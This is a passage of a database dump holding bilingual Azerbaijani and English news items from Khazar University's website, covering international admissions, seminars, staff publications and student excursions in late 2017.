margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for an item with the call number 330.MACC, type 330\r\nmacc, and click Icon Call number.</p>\r\n<br><ul><li><strong>Power search</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">Power search provides a flexible keyword-searching tool. Power\r\nsearch, an advanced keyword-searching tool, allows users to search for several\r\nwords or phrases, using Boolean terms AND, OR and BUT, NOT and wildcards.</p>\r\n<br><ul><li><strong>Using the Bookbag</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;line-height:normal;background:white\"=\"\">Users can collect the titles that interest them, and then edit\r\nand print or save the list. You can also sort the report by Title-Author or\r\nAuthor-Title. Deletes the selected title, or empties the Bookbag. The Bookbag\r\ninformation is printed or saved in bibliographic format.</p>\r\n<br><ul><li><strong>Printing search results</strong></li></ul><p>\r\nOPAC allows patrons to print selection lists and brief or full records. This\r\noption is available when selected in setup. While viewing a selection list or\r\nRecord Display dialog box, select File/Print.</p>'),(4661,2767,'az','2018-2019-cu tədris ili üçün əcnəbilərin qəbulu açıq elan olunur','Xəzər Universiteti 2018-2019-cu tədris ilində əcnəbi vətəndaşlar üçün qəbulun başlanmasını və Beynəlxalq Təqaüd Proqramını...','<p style=\"text-align:left\"><img src=\"/files/letters/178753-OWIN1I-455---Copy.jpg\" style=\"width:600px;height:271px;margin:7px\"><br></p><p style=\"text-align:left\">Xəzər Universiteti 2018/2019-cu tədris ilində əcnəbi vətəndaşlar üçün qəbulun başlanmasını və Beynəlxalq Təqaüd Proqramını elan edir. Tədris proqramları dörd (4) fakültədə bakalavriatura, magistratura və doktorantura səviyyələrində təklif olunur. Təqaüd proqramı dünyanın bütün ölkələrindən olan tələbələr üçün açıqdır və hər ölkəyə tam təhsil haqqını ödəyən iki təqaüd imkanı ayırır.</p><p>Son müraciət tarixi: <strong>15 aprel 2018-ci il, saat 17:00 (Bakı vaxtı ilə).</strong></p><p>Bu link vasitəsilə müraciət etmək olar:</p><p><a href=\"http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_\">http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_</a></p>'),(4662,2767,'en','International Admission and Scholarship for 2018-2019 Academic Year','','<p style=\"text-align:left\"><img src=\"/files/letters/178753-OWIN1I-455---Copy.jpg\" style=\"width:600px;height:271px;margin:7px\"><br></p><p style=\"text-align:left\">Khazar University announces the opening of admission and scholarship program for international students in 2018-2019 academic year. The study programs are offered in four schools of the university at both undergraduate (bachelor) and graduate (master and PhD) levels. The scholarship program targets nationals of all countries around the world and offers two merit-based full-tuition fee covered scholarships for each country.</p>\r\n<p>Deadline: <strong>April 15, 2018, 17:00 (5:00 PM) Baku time</strong></p>\r\n<p>To apply visit:</p><p><a href=\"http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_\">http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_</a><br></p>'),(4665,2770,'az','Xəzər Universitetinin əməkdaşının yeni yaranan qurumda işçi qrupunun üzvü seçilməsi mediada','Xəbər verildiyi kimi, 2017-ci il dekabrın 15-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov...','<p>Xəbər verildiyi kimi, 2017-ci il dekabrın 15-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Azərbaycan Milli Elmlər Akadmiyasında Azərbaycan Su İstifadəçiləri Assosiasiyasının keçirdiyi təsis yığıncağında işçi qrupunun üzvü seçilmişdir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961\">https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://igaz.az/az/news/418\">http://igaz.az/az/news/418</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"https://report.az/ekologiya/cografiya-i-nstitutu-xocesen-go-lu-temizlenecek-etraf-erazilerde-ise-medeniyyet-ve-istirahet-yerleri-yaradilacaq/\">https://report.az/ekologiya/cografiya-i-nstitutu-xocesen-go-lu-temizlenecek-etraf-erazilerde-ise-medeniyyet-ve-istirahet-yerleri-yaradilacaq/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.aznews.az/news/cemiyyet/160078.html;%0d\">http://www.aznews.az/news/cemiyyet/160078.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://az.strategiya.az/index.php?do=xeber&amp;id=107745\">http://az.strategiya.az/index.php?do=xeber&amp;id=107745</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://bugun.az/news/117279/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html\">http://bugun.az/news/117279/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"https://metbuat.az/news/856668/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html\">https://metbuat.az/news/856668/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html</a>.</p>'),(4666,2771,'en','Khazar University Announced Next Cycle of International Admission and Scholarship Program (2018-2019 Academic Year)','Khazar University has announced the opening of admission and scholarship program for international students in 2018-2019 academic year...','<p>Khazar University has announced the opening of admission and scholarship program for international students in 2018-2019 academic year. Study programs are offered in four schools of the university at both undergraduate (bachelor) and graduate (master and PhD) levels. Schools of Khazar University: School of Engineering and Applied Sciences, School of Economics and Management, School of Humanities and Social Sciences, and School of Education.</p>\r\n<p>Khazar University International Scholarship Program targets nationals of all countries around the world and offers two merit-based full-tuition fee covered scholarships for each country. Currently more than 150 international students from around 30 countries pursue their full-time education at Khazar University. International students from Afghanistan, Algeria, Barbados, Cameroon, Czech Republic, Indonesia, Iraq, Pakistan, Palestine, Russia, Turkey and numerous other countries have previously benefited from the scholarship program.</p>\r\n<p>Eligible candidates should visit the following page to find out more about the admission and the scholarship program:</p><p><a href=\"http://www.khazar.org/en/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_\">http://www.khazar.org/en/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_</a>.&nbsp;</p><p><strong>Deadline to apply is April 15, 2018, 17:00 (5:00 PM) Baku time</strong>.</p>'),(4667,2764,'en','Cisco Network Academy delivered a presentation at Khazar University','On December 20, 2017, a seminar on \"Cisco Network Academy Program\" was held for the 2nd, 3rd, and 4th year students majoring in...','<p>On December 20, 2017, a seminar on \"<em><strong>Cisco Network Academy Program</strong></em>\" was held for the 2<sup>nd</sup>, 3<sup>rd</sup>, and 4<sup>th</sup> year students majoring in Computer Science and Computer Engineering, the School of Engineering and Applied Sciences. The seminar was organized by <strong><em>NetAcad.az</em></strong> (Azerbaijan Network Academy), the official partner of the Cisco Networking Academy in Azerbaijan and Instructor Training Center (ITC). During the meeting, Emin Seyidov and Farrukh Rajabli informed about the innovations and courses in ICT (Information and Communication Technology) field offered by Cisco Network Academy and about the work implemented in this direction.</p>'),(4668,2770,'en','Membership of Khazar University staff in Media','As it has been reported, on December 15, 2017, Rovshan Abbasov, Head of the Department of Geography and Environment of Khazar...','<p>As it has been reported, on December 15, 2017, Rovshan Abbasov, Head of the Department of Geography and Environment of Khazar University, was elected a member of the working group at the founding meeting held by the Association of Water Users of Azerbaijan at Azerbaijan National Academy of Sciences.</p><p>More information is available at:</p><p><a href=\"https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961\">https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://igaz.az/az/news/418\">http://igaz.az/az/news/418</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"https://report.az/ekologiya/cografiya-i-nstitutu-xocesen-go-lu-temizlenecek-etraf-erazilerde-ise-medeniyyet-ve-istirahet-yerleri-yaradilacaq/\">https://report.az/ekologiya/cografiya-i-nstitutu-xocesen-go-lu-temizlenecek-etraf-erazilerde-ise-medeniyyet-ve-istirahet-yerleri-yaradilacaq/</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.aznews.az/news/cemiyyet/160078.html;%0d\">http://www.aznews.az/news/cemiyyet/160078.html;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://az.strategiya.az/index.php?do=xeber&amp;id=107745\">http://az.strategiya.az/index.php?do=xeber&amp;id=107745</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://bugun.az/news/117279/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html\">http://bugun.az/news/117279/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"https://metbuat.az/news/856668/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html\">https://metbuat.az/news/856668/cografiya-institutu-xocesen-golu-temizlenecek-etraf-eraziler.html</a>.</p>'),(5317,3079,'az','İraq səfiri Xəzər Universitetinin qonağı oldu','2018-ci il aprelin 2-də İraqın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri...','<p>2018-ci il aprelin 2-də İraqın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Dr. Fadhil Awad Jebur Al-Shuvai və Yaxın Şərqdəki İsles Beynəlxalq Universitetinin Beynəlxalq vitse-presidenti Dr. Nazar Kareem Javad Rabeeah Xəzər Universitetinin “Neftçilər” kampusunu ziyarət etdilər.</p><p>Ziyarətin əsas məqsədi Yaxın Şərqdəki İsles Beynəlxalq Universiteti (Bağdad) ilə Xəzər Universiteti arasında əlaqələrin yaradılması idi. Görüşdə Xəzər Universitetini rektor Dr. Hassan Niknafs və Beynəlxalq Əlaqələr şöbəsinin direktoru Turan Cəfərova təmsil edirdilər.</p>'),(4669,2769,'en','Young writer will meet with students','A meeting entitled “Life in 33 photos” will be conducted with Joshgun Kerimov, a young writer and the author of the books...','<p>A meeting entitled “Life in 33 photos” will be conducted with Joshgun Kerimov, a young writer and the author of the books “Kvan”, “Ubuntu” and “Alamo 13”, on December 27, 2017, at 15:30, in a Marble Hall, at Neftchiler campus of Khazar University.</p>\r\n<p>Everyone interested is welcome.</p>'),(4670,2772,'az','Xəzər Universitetinin əməkdaşı AMEA Coğrafiya İnstitutunda mühazirə ilə çıxış etdi','2017-ci il dekabr 21-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Azərbaycan Milli Elmlər...','<p>2017-ci il dekabr 21-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Azərbaycan Milli Elmlər Akadmiyasında “Xocəsən gölünün su balansı” mövzusunda məruzə ilə çıxış etmişdir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961\">https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961</a>;</p><p><a href=\"http://igaz.az/az/news/418\">http://igaz.az/az/news/418</a>.</p>'),(4722,2798,'en','An article by an instructor of Khazar University published','An article “National unity motives in contemporary citizenship lyric (on the basis of works by Mammad Araz, Sohrab Tahir Azarazar...','<p>An article “National unity motives in contemporary citizenship lyric (on the basis of works by Mammad Araz, Sohrab Tahir Azarazar and Mammad Ismayil)” by Gardashkhan Azizkhanli, an instructor of the department of the Azerbaijan Language and Literature of Khazar University, was published in “Issues of Philology”, a journal of Institute of Manuscripts named after Muhammad Fuzuli, issue 18, 2017.</p><p><strong><a href=\"http://www.khazar.org/files/azelang_depart/n18.pdf\">A link</a></strong> to the article.</p>'),(4720,2788,'en','Next issue of “Azerbaijani Archeology” journal published','Next issue (Volume 20, Number 2, 2017) of “Azerbaijani Archeology” journal of Khazar University has been published...','<p>Next issue (Volume 20, Number 2, 2017) of “Azerbaijani Archeology” journal of Khazar University has been published. In this number, the journal specifically focused on the Bronze Age. There are articles about the Bronze Age weapons, historiography of military affairs, and natural-geographic conditions of the settlement in Kura basin. The articles are prominent in terms of theoretical and practical topicality.</p>'),(4721,2792,'en','Research paper of a PhD candidate published in a local journal','A paper “N. Chomsky’s attitude to Cartesian linguistics: nativist theory of language” by Valida Karimova...','<p>A paper “N. Chomsky’s attitude to Cartesian linguistics: nativist theory of language” by Valida Karimova (PhD), Vice-dean of School of Humanities and Social Sciences of Khazar University, was published in “Issues of Philology”, Number 17 (ISSN 2224-9257). The article widely deals with language development and empirical researches in linguistics.&nbsp;</p><p>A link to the full article:&nbsp;</p><p><a href=\"http://www.filologiyameseleleri.net/pdf/2017/n17.pdf\">http://www.filologiyameseleleri.net/pdf/2017/n17.pdf</a>     </p>'),(4719,2800,'az','2018','2018',''),(4671,2773,'az','Tələbələr Əlyazmalar İnstitutuna ekskursiya etdilər','2017-ci il dekabrın 20-də Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru f.ü.f.d. Zivər Hüseynli-Baylan...','<p>2017-ci il dekabrın 20-də Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru f.ü.f.d. Zivər Hüseynli-Baylan “Əski Azərbaycan yazısı” fənninin tələbələri üçün AMEA-nın Məhəmməd Füzuli adına Əlyazmalar İnstitutuna ekskursiya təşkil etdi. Həmin fənnin digər müəllimi f.ü.f.d. Xatirə Yusifovanın köməyi ilə təşkil olunan bu gəzintidə, tələbələr milli-mənəvi dəyər olan əlyazmalarla tanış oldular, əlyazmalardan istifadə qaydası, əlyazmaların saxlanıldığı şərait və bərpa işləri haqqında məlumat aldılar. Tələbələr, həmçinin, institutun qocaman əməkdaşı, Azərbaycanın taxta üzərində oyma sənəti ilə məşhur olan xəttat Seyfəddin Məmmədvəliyevlə də görüşdülər, onun sənət nümunələri ilə yaxından tanış oldular.</p>'),(4672,2774,'az','Xəzər Universitetində “Türk Dünyası Bilgi Şöleni” keçirildi','Dekabrın 21-də Xəzər Universitetinin Mərmər zalında universitetin Təhsil fakültəsinin Azərbaycan dili və ədəbiyyatı departamentində...','<p>Dekabrın 21-də Xəzər Universitetinin Mərmər zalında universitetin Təhsil fakültəsinin Azərbaycan dili və ədəbiyyatı departamentində tədris olunan Türkologiyaya giriş, Türk ləhcələrinin müqayisəli qrammatikası fənlərinin müəllim və tələbələri tərəfindən hazırlanmış və Xəzər Universitetinin qurucusu, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının yubileyinə həsr olunmuş “Türk Dünyası Bilgi Şöleni” adlı ədəbi-musiqili tədbir keçirildi.</p><p>Tədbirdə professor Hamlet İsaxanlı başda olmaqla universitetin rəhbərliyi, əməkdaşları və tələbələri, Türkiyə Cümhuriyyətinin Azərbaycan Respublikasındakı səfirliyinin mədəniyyət və turizm üzrə müşaviri Adem Keleş, AMEA Folklor İnstutunun xarici ölkələrlə əlaqələr bölməsinin rəhbəri, professor Əli Şamil, AMEA Nizami Gəncəvi adına Ədəbiyyat İnstitutunun şöbə müdiri, professor Bədirxan Əhmədli, AMEA Dilçilik İnstitutunun Təhsil şöbəsinin müdiri Qətibə Quliyeva, 365 xəbər.com-un təsisçisi Anar Əsəd və media mənsubları iştirak edirdilər.</p><p>Tədbirin məqsədi 200 milyondan çox insanın daxil olduğu böyük Turan ailəsinə diqqəti cəlb etmək, türk dünyasının dil yadigarları və folklor nümunələrini iştirakçıların nəzərinə çatdırmaq idi.</p><p>Tədbir tələbələrdən ibarət xorun ifasında türk xalqlarının birliyini tərənnüm edən “Turan marşı”nın ifası ilə başlandı.</p><p>Azərbaycan dili və ədəbiyatı departamentinin müəllimi Dr. İlahə Qurbanlı və Təhsil fakültəsinin dekanı Dr. Elza Səmədli çıxış edərək, tədbirin ideyasını və əhəmiyyətini açıqladılar.</p><p>Tədbirin kompozisiyası türk xalqlarının formalaşması, eramızdan əvvəlki dövrdən başlayaraq yazılı abidələrin tələbələr tərəfindən müvafiq ləhcədə səsləndirilməsi, folklor nümunələrinin ifası, sənədli filmlərdən fraqmentlərin nümayişi və türk xalqlarının adət - ənənələrinin, geyimlərinin, həmçinin mətbəxlərinin təqdimatından ibarət idi.</p><p>Böyük Hun imperatoru Metenin eramızdan əvvəl 176-ci ildə Çin imperatoruna göndərdiyi məktubdan başlayaraq sonrakı müxtəlif tarixi dövrlərə aid mətnlər də yazıldıqları ləhcədə səsləndirildi. Türk xalqlarının adət - ənənələri tələbələrin hazırladıqları səhnəciklər vasitəsilə nümayiş etdirildi, mahnılar ifa olundu.</p><p>AMEA Folklor İnstutunun xarici ölkələrlə əlaqələr bölməsinin rəhbəri, professor Əli Şamil, AMEA Dilçilik İnstitutunun Təhsil şöbəsinin müdiri Qətibə Quliyeva türk xalqlarının tarix və mədəniyətinin müxtəlif cəhətlərindən bəhs edərək tələbələrin çıxışlarını yüksək qiymətləndirdilər.</p><p>Xəzər Universitetinin qurucusu, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı geniş çıxışında türk xalqlarının tarixi inkişafına, folkloruna və türk dillərinin formalaşmasına dair fikir və mülahizələrini söylədi, tədbirin təşkilatçılarına və tələbələrə təşəkkürünü bildirdi.</p><p>Tədbir Xəzər Universitetinin tələbələrdən ibarət xorunun və rəqs ansamblının ifası ilə başa çatdı.</p>'),(4673,2775,'az','“Qan qrupu və sənin xarakterin” mövzusunda seminar keçiriləcək','2017-ci il dekabrın 28-i saat 15:00-da Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə seminar keçiriləcək...','<p>2017-ci il dekabrın 28-i saat 15:00-da Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə seminar keçiriləcək. Dəvət edilmiş məruzəçi Sevda Tahirli “Qan qrupu və sənin xarakterin” mövzusunda məruzə edəcək.</p><p>Seminar Xəzər Universitetinin “Neftçilər” kampusunun konfrans zalında (otaq 102N) keçiriləcək.</p><p>Maraqlanan hər kəs dəvətlidir. Bütün tələbələrin seminara qatılmağı və iştirakı ciddi şəkildə təşviq olunur.</p>'),(4675,2755,'en','KPMG Conducted Exam','On December 14, 2017, an exam initiated by the Khazar University Career Center and with the official representative of the company...','<p>On December 14, 2017, an exam initiated by the Khazar University Career Center and with the official representative of the company, was held for the students of School of Economics and Management to stand a chance of winning an internship at KPMG.    The exam was held in the presence of the company’s representative Aydan Badalova.</p>'),(4676,2744,'en','Research paper by a staff member of Azerbaijani Language and Literature Department in “National Folklore” Journal','Elmira Mammadova-Kekech, a PhD and Associate Professor of the Department of Azerbaijani Language and...','<p>Elmira Mammadova-Kekech, a PhD and Associate Professor of the Department of Azerbaijani Language and Literature at Khazar University, published her article entitled “Wise man” archetype (“Wise Man Archetype in Ahmet Yesevi\'s Vudjudname”) in the “National Folklore” Journal in Turkey.</p><p>The “National Folklore” Journal is registered in various indexes such as Thompson Reuters, A&amp;HCI, Scopus and TUBITAK/ULABIM.</p><p>The article can be accessed through the following link:</p><p><a href=\"http://www.millifolklor.com/\">http://www.millifolklor.com/</a>  </p>'),(4677,2765,'en','An instructor of Khazar University published a research article','An article “People archetype and creativity problem in contemporary Azerbaijan poetry” by Gardashkhan Azizkhanli...','<p>An article “People archetype and creativity problem in contemporary Azerbaijan poetry” by Gardashkhan Azizkhanli, an instructor of the Department of the Azerbaijan language and literature, was published in the last issue of “Khabarlar (Humanities)” journal (№2) of Azerbaijan National Academy of Sciences, 2017.</p><p>The article represents people as the source of national lyric. The author stresses that a poet without national values cannot be a citizen of a country. Also, the author mentions that the source and origin of lyrics by M.Araz, S.Tahir, A.Azer and M.Ismayil have not been researched yet in the context of archetype and folklore, consequently this problem needs to be solved scientifically. This article can be considered an initial step in the above-mentioned issue. The author regards the best samples of national lyric as the subject of the article; bayati, garayli, goshma and other poetic forms of poetry are mentioned as examples, and typical features of these poetic forms for tales and epics are briefly viewed. Moreover, the author notices that respect for totems and appeal to national heroes manifest themselves as chief qualities of lyrics by M.Araz, S.Tahir, A.Azer and M.Ismayil.</p><p>A <strong><a href=\"http://www.khazar.org/files/letters/Qardashxan-Xeberler_2017-2.pdf\">link</a> </strong>to the article.</p>'),(4678,2774,'en','“Knowledge Ceremony of Turkish World” conducted at Khazar University','Literary-musical commemoration entitled “Knowledge Ceremony of Turkish World”, organized by the instructors and students of...','<p>Literary-musical commemoration entitled “Knowledge Ceremony of Turkish World”, organized by the instructors and students of disciplines of Introduction to Turkish Studies and Comparative grammar of Turkish dialects, the Department of the Azerbaijan language and Literature, was held on December 21, in Marble Hall of Khazar University, which was dedicated to Prof. Hamlet Isakhanli’s birthday, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>Prof. Hamlet Isakhanli, the administration staff and students as well as Adem Kelesh, advisor for Culture and Tourism of Turkish Embassy to the Republic of Azerbaijan, Prof. Ali Shamil, chief of international relations of Institute of Folklore, Prof. Badirkhan Ahmadli, chief of department of Institute of Literature named after Nizami Ganjavi, Gatiba Guliyeva, chief of Education department of Institute of Linguistics, Anar Asadov, founder of <strong><em>xeber365.com</em></strong> and media representatives participated in the ceremony.</p><p>The objective of the ceremony was to draw attention to Turan family, which involved more than 200 million people, and introduce language legacy and folklore artifact to the participants.</p><p>The ceremony started with the performance of “Turan march”, glorifying unity of Turkish peoples, which was sung by a student choir.</p><p>Dr. Ilaha Gurbanli, a lecturer of department of the Azerbaijan language and literature, and Dr. Elza Samadli, dean of School of Education, delivered speeches clarifying the idea and importance of the ceremony.</p><p>In the event, the students read, in various dialects, written texts dating back to BC, performed folklore artifacts, demonstrated fragments of documentaries, and presented traditions, garments and food of Turkish people.</p><p>The letter, which was sent to Chinese emperor in 176 BC by Mete, Hun emperor, as well as other historical texts, was read in their original dialects by the students. Moreover, the students performed sketches demonstrating traditions of Turkish peoples, and sang songs.</p><p>Professor Ali Shamil, chief of international relations of Institute of Folklore, and Gatiba Guliyeva, chief of Education department of Institute of Linguistics, talked about various aspects of History and Culture of Turkish people, and also appreciated students’ performance.</p><p>Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a long speech on historical development, folklore and languages of Turkish people and expressed his gratitude for organization of the event.</p><p>The ceremony ended with the performance of a student choir and dance ensemble.</p>'),(4679,2775,'en','Seminar on ‘Blood type and Your Personality’ to be held','Thanks to the close cooperation of Khazar University Career Centre, a seminar will be held on December 28, 2017, at 15:00...','<p>Thanks to the close cooperation of Khazar University Career Centre, a seminar will be held on December 28, 2017, at 15:00. Sevda Tahirli, an invited lecturer, will deliver a presentation on ‘Blood type and Your Personality’.</p><p>The seminar will be held at the conference hall of the Neftchilar campus (room 102N) at Khazar University.</p><p>Anyone interested is welcome. All students are strongly encouraged to participate.</p>'),(4680,2777,'az','KPMG seminar keçirdi','2017-ci il dekabrın 22-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə KPMG şirkəti universitetin İqtisadiyyat və...','<p>2017-ci il dekabrın 22-də Xəzər Universiteti Karyera mərkəzinin təşəbbüsü ilə KPMG şirkəti universitetin İqtisadiyyat və menecment fakültəsinin tələbələri üçün seminar keçirdi.</p><p>Seminarda KPMG-nin əməkdaşları -&nbsp; Audit və güvənlik departamentinin işçisi Kərim Daiyev bu sahənin əhəmiyyəti və əsas rolu,&nbsp;Qurban Abbasov qiymətləndirmə, birləşmə və akvizisiyalar, maliyyə, Zəhra İmranova isə əməliyyat xidmətləri haqqında danışdılar. Sonra Xəzər Universitetinin şirkətdə çalışan məzunu - Aslan Bağırov (vergi departamenti) və Aysel Balakişiyeva (hüquq bölməsi) çıxış etdilər.</p><p>Seminarın sonunda şirkətin nümayəndələri tələbələrin suallarını cavablandırdılar.</p>'),(4681,2778,'az','Xəzər Universitetinin xarici tələbələri Atəşgah məbədinə ekskursiya etdilər','2017-ci il dekabrın 23-də Xəzər Universitetinin əcnəbi tələbələri, universitetin Tarix və arxeologiya departamentinin müəllimi Bayram...','<p>2017-ci il dekabrın 23-də Xəzər Universitetinin əcnəbi tələbələri, universitetin Tarix və arxeologiya departamentinin müəllimi Bayram Quliyev ilə birlikdə, Bakı şəhəri Suraxanı rayonunda yerləşən və Azərbaycanın XVII–XVIII əsrlərə aid tarixi abidəsi olan Atəşgah məbədini ziyarət etdilər. Qədim atəşpərəstlərin inanc yeri olan Atəşgah məbədi müxtəlif ölkələrdən (İran, İraq, Yəmən, İndoneziya və Nigeriya) gələn xarici tələbələr üçün həm maraqlı və yeni, həm də fərqli bir təəssürat yaratdı. Azərbaycanda multikulturalizmin izlərinin qədim zamanlara dayandığını öz gözləri ilə görən tələbələr üçün daim yanan odu müşahidə etmək bunun rəmzi sübutu idi. Demək olar ki, məbədin bütün otaqlarındakı eksponatlarla tanış olan tələbələr məbəddən gözəl təəssüratlarla ayrıldılar.</p><p>Ümumiyyətlə, tarix dərslərinin muzeylərdə tədris olunması nəinki xarici tələbələr, eləcə də, yerli tələbələr üçün də faydalı və ən yaxşı metodlardan biridir. Çünki tələbələrin tarixi hadisələrin bir parçası olan abidələri canlı olaraq öz gözləri ilə görmələri və onlara toxunmaları bu fənnin daha da keyfiyyətli öyrənilməsində əhəmiyyətli rol oynayır.</p>'),(4682,2778,'en','Excursion of Some International Students to the Temple of Ateshgah','On December 23, 2017, some international students of Khazar University together with Bayram Guliyev, the senior lecturer...','<p>On December 23, 2017, some international students of Khazar University together with Bayram Guliyev, the senior lecturer of History and Archaeology department, visited the Ateshgah temple, one of the old historical monuments of Azerbaijan dating back to XVII – XVIII century, located in the Surakhani district near Baku city. The Ateshgah temple, which was a place of worship of Zoroastrianism, made a distinctive impression on the students from different countries (Iran, Iraq, Yemen, Indonesia and Nigeria). Eternal fire was a symbolic evidence of multiculturalism in Azerbaijan for the students which dates back to ancient times. Students became acquainted with all the exhibits in almost all rooms and left the temple with wonderful impressions.</p><p>Generally, teaching of the history lessons in museums is one of the best and useful methods for not only foreign students but also local students as observing and touching historical monuments, parts of historical events, have an important role for the higher quality study of this subject.</p>'),(4683,2779,'en','Seminar “Our brain and its “tricks”','On December 22, 2017, a seminar on “Our brain and its “tricks”, organised by the Department of Psychology and Khazar Psychological...','<p>On December 22, 2017, a seminar on “Our brain and its “tricks”, organised by the Department of Psychology and Khazar Psychological Service Centre was held at Khazar University. Aygun Isgandarova, a psychiatrist, an instructor of the Department of Psychology, delivered a presentation in the seminar. The presenter gave full information on myths about psychological disorders, brain disorders caused by mental illnesses, impact of thoughts on mood and emotions as well as errors in thinking. Melek Kerimova, Head of Khazar Psychological Service Centre, underlined the importance of a proper approach by the society to the patients with psychological disorders and added that there is a need to raise public awareness in this regard.</p><p>The presenter answered the participants’ questions.</p>'),(4684,2779,'az','“Beynimiz və oynadığı “oyunlar” adlı seminar','2017-ci il dekabrın 22-də Xəzər Universiteti Psixologiya Departamenti və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə...','<p>2017-ci il dekabrın 22-də Xəzər Universiteti Psixologiya Departamenti və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə universitetimizdə “Beynimiz və oynadığı “oyunlar” adlı seminar baş tutdu. Seminarda Xəzər Universitetinin Psixologiya departamentinin müəllimi psixiatr Aygün İsgəndərova təqdimat etdi. Təqdimatda psixi pozuntular ilə əlaqədar olan miflər, psixi pozuntular zamanı beyində baş verən pozuntular, düşüncələrin əhval-ruhiyyəyə, duyğulara olan təsiri və düşüncə xətaları ilə əlaqədar ətraflı məlumat verildi. Xəzər Psixoloji Xidmət Mərkəzinin direktoru psixoloq Mələk Kərimova da cəmiyyətin psixi pozuntular zamanı pasiyentə düzgün yanaşılmasının əhəmiyyətini qeyd edərək, bu mövzuda maarifləndirilmənin zəruri olduğunu bildirdi.</p><p>Müzakirələrə səbəb ooaln seminarda iştirakçıların sualları ətraflı şəkildə cavablandırıldı.</p>'),(4685,2776,'en','Instructors of Khazar University participated in National Scientific Conference held in Lankaran','Associate professor Elmira Mammadova-Kekech, an instructor of the Department of the Azerbaijan language and Literature of the 